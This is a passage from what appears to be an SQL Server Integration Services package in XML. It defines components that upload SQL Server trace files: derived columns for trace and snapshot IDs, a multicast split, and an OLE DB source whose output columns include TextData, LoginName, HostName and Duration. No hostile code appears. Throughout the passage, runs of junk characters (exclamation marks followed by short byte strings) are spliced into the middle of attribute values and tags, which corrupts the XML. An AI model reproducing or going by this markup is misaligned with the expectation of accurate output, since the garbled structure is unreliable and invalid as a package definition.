dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]" name="trace_info_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceInfoID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceInfoID]</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotID]</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[is_running]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[is_running]" name="is_running" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceIsRunning]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceIsRunning]</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]" name="dropped_event_count" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceDroppedEventCount]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceDroppedEventCount]</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[last_event_sequence]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column O	!!!!!!!!!!!!!!!!!!!!!!!!`2PYHvutput].Columns[last_event_sequence]" name="last_event_sequence" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]}) ? 0 : #{Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(EventSequence_Max) ? 0 : EventSequence_Max</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add snapshot_id and trace_info_id" usesDispositions="true" validateExternalMetadata="False"><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]" dataType="i4" errorOrTruncationOperation="Computation" errorR	!!!!!!!!!!!!!!!!!!!!!!!!`2C?HvowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]" name="trace_info_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceInfoID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceInfoID]</property></properties></outputColumn><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[SnapshotID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@SnapshotID</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways" componentClassID="{EC139FBC-694E-490B-8EA7-35690FB0F445}" contactInfo="Multicast;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Creates copies of a dataset." name="MLT - Split two ways"><inputs><input refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Inputs[Multicast Input 1]" name="Multicast Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Outputs[Mul	!!!!!!!!!!!!!!!!!!!!!!!!`2	%Hvticast Output 1]" deleteOutputOnPathDetached="true" name="Multicast Output 1" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Outputs[Multicast Output 2]" deleteOutputOnPathDetached="true" name="Multicast Output 2" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Outputs[Multicast Output 3]" dangling="true" deleteOutputOnPathDetached="true" name="Multicast Output 3" synchronousInputId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\MLT - Split two ways.Inputs[Multicast Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODB - Read trace" usesDispositions="true" validateExternalMetadata="False" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable">User::TraceLoadScript</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[TargetConnection]" connectionManagerRefId="Package.ConnectionManagers[TargetConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output]" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regul	!!!!!!!!!!!!!!!!!!!!!!!!`2
!ymHvar trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]" dataType="nText" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TextData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]" name="TextData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BinaryData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]" name="BinaryData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]" name="DatabaseID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TransactionID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]" name="TransactionID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LineNumber]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]" name="LineNumber" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTUserName]" length="256" lineageId="Packag	!!!!!!!!!!!!!!!!!!!!!!!!`2r,Hve\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]" name="NTUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTDomainName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]" name="NTDomainName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[HostName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]" name="HostName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ClientProcessID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]" name="ClientProcessID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ApplicationName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]" name="ApplicationName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]" name="LoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB	!!!!!!!!!!!!!!!!!!!!!!!!`2)_Hv - Read trace.Outputs[OLE DB Source Output].Columns[SPID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SPID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SPID]" name="SPID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Duration]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]" name="Duration" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[StartTime]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]" name="StartTime" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EndTime]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]" name="EndTime" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Reads]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]" name="Reads" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Writes]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB 	!!!!!!!!!!!!!!!!!!!!!!!!`2-Wc0HvSource Output].Columns[Writes]" name="Writes" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[CPU]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]" name="CPU" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Permissions]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]" name="Permissions" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Severity]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]" name="Severity" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSubClass]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]" name="EventSubClass" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]" name="ObjectID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - 	!!!!!!!!!!!!!!!!!!!!!!!!`2`HvUpload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Success]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]" name="Success" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IndexID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]" name="IndexID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]" name="IntegerData" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ServerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ServerName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ServerName]" name="ServerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventClass]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]" name="EventClass" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - 